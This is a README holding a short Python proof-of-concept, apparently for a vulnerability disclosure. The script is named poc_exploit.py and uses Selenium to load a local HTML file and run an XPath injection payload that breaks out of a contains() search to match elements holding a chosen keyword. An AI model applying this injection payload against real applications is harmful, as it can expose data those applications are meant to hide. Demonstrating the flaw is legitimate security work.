README.md
Rendering markdown...
import os
import sys
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from webdriver_manager.chrome import ChromeDriverManager
if len(sys.argv) < 2:
print("❌ Error: Please provide the path to an HTML file.")
print("Usage: python poc_exploit.py <filename.html> [target_keyword]")
sys.exit(1)
html_filename = sys.argv[1]
target_keyword = sys.argv[2] if len(sys.argv) > 2 else "secret"
if not os.path.exists(html_filename):
print(f"❌ Error: File '{html_filename}' not found.")
sys.exit(1)
html_path = os.path.abspath(html_filename)
options = webdriver.ChromeOptions()
options.add_argument("--headless")
driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)
try:
driver.get(f"file://{html_path}")
print(f"\n✓ Target Loaded: {html_filename}")
print(f"🎯 Injected Search Keyword: '{target_keyword}'")
# The Vulnerability Payload Breakout
malicious_payload = f"') or contains(text(), '{target_keyword}"
elements_injected = driver.find_elements(By.XPATH, f"//*[contains(text(), '{malicious_payload}')]")
print(f"\n[Injected Search] Found {len(elements_injected)} elements.")
print("=" * 60)
print(f"{'#':<5} | {'TAG':<10} | {'ID':<15} | {'CONTENT EXTRACTED'}")
print("=" * 60)
match_count = 0
# Skip huge containers and metadata shells to avoid terminal flooding
skip_tags = ['html', 'body', 'head', 'style', 'script', 'tbody', 'table', 'tr']
for el in elements_injected:
tag = el.tag_name.lower()
if tag in skip_tags:
continue
element_id = el.get_attribute('id') or "None"
text_content = el.get_attribute('textContent').strip()
# Normalize whitespace
text_content = " ".join(text_content.split())
if text_content:
match_count += 1
# Truncate strings longer than 100 characters for scannability
display_text = text_content if len(text_content) <= 100 else f"{text_content[:97]}..."
# Simple terminal visual indicator for where the keyword was found
if target_keyword.lower() in display_text.lower():
display_text = f"🚨 [FOUND MATCH] -> {display_text}"
print(f"{match_count:<5} | {tag:<10} | {element_id:<15} | {display_text}")
finally:
driver.quit()